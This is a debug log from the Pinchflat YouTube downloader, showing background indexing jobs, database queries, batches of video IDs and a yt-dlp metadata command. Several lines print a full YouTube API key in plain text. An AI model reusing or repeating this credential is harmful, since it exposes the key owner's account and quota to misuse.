{"args":{"id":17},"id":3799767,"meta":{},"system_time":1770759987429801158,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:27.430 [debug] QUERY OK source="sources" db=0.2ms idle=887.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:46:27.430 [debug] QUERY OK source="sources" db=0.2ms idle=881.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 15:46:27.430 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.430 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:27.430 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.430 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 15:46:27.431 [debug] QUERY OK source="settings" db=0.8ms idle=68.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.431 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.431 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:27.431 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:27.431 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.431 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 15:46:27.431 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.431 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:27.533 [debug] QUERY OK source="media_items" db=0.6ms idle=101.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 15:46:27.534 [debug] QUERY OK source="media_items" db=0.2ms idle=102.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 15:46:27.535 [debug] QUERY OK source="tasks" db=0.0ms idle=103.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799805, 17, ~U[2026-02-10 21:46:27Z], ~U[2026-02-10 21:46:27Z]] 15:46:27.535 [info] {"args":{"id":17},"id":3799767,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105409,"event":"job:stop","queue_time":191075,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:27.625 [debug] QUERY OK source="media_items" db=0.6ms idle=90.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 15:46:27.626 [debug] QUERY OK source="settings" db=0.1ms idle=91.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.626 [debug] QUERY OK source="settings" db=0.0ms idle=91.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.626 [debug] Running yt-dlp command for action: get_media_attributes 15:46:27.627 [debug] QUERY OK source="settings" db=0.0ms idle=92.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.628 [debug] QUERY OK source="settings" db=0.0ms idle=86.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.628 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:27.628 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --simulate --skip-download --output /downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/b7/0ab7d4c1b56bea47249d143f05e23f1552b5bbb4e545d460d1898f28fbf04fc6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:29.431 [info] {"args":{"id":33},"id":3799768,"meta":{},"system_time":1770759989431731916,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:29.432 [debug] QUERY OK source="sources" db=0.1ms idle=553.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 15:46:29.432 [debug] QUERY OK source="settings" db=0.0ms idle=553.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:29.432 [debug] QUERY OK source="media_profiles" db=0.1ms idle=553.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:29.432 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:29.432 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 15:46:29.432 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:29.432 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:29.544 [debug] QUERY OK source="media_items" db=0.8ms idle=112.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 15:46:29.546 [debug] QUERY OK source="media_items" db=0.5ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 15:46:29.547 [debug] QUERY OK source="tasks" db=0.1ms idle=114.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799806, 33, ~U[2026-02-10 21:46:29Z], ~U[2026-02-10 21:46:29Z]] 15:46:29.547 [info] {"args":{"id":33},"id":3799768,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115388,"event":"job:stop","queue_time":523629,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:30.432 [info] {"args":{"id":12},"id":3799769,"meta":{},"system_time":1770759990432659572,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:30.432 [debug] QUERY OK source="sources" db=0.1ms idle=885.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 15:46:30.433 [debug] QUERY OK source="settings" db=0.0ms idle=885.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.433 [debug] QUERY OK source="media_profiles" db=0.1ms idle=879.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:30.433 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.433 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 15:46:30.433 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.433 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:30.522 [debug] QUERY OK source="media_items" db=0.7ms idle=88.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 15:46:30.523 [debug] QUERY OK source="media_items" db=0.4ms idle=89.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 15:46:30.524 [debug] QUERY OK source="tasks" db=0.1ms idle=90.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799807, 12, ~U[2026-02-10 21:46:30Z], ~U[2026-02-10 21:46:30Z]] 15:46:30.524 [info] {"args":{"id":12},"id":3799769,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91619,"event":"job:stop","queue_time":499137,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:30.530 [info] {"args":{"id":11},"id":3799770,"meta":{},"system_time":1770759990530779495,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 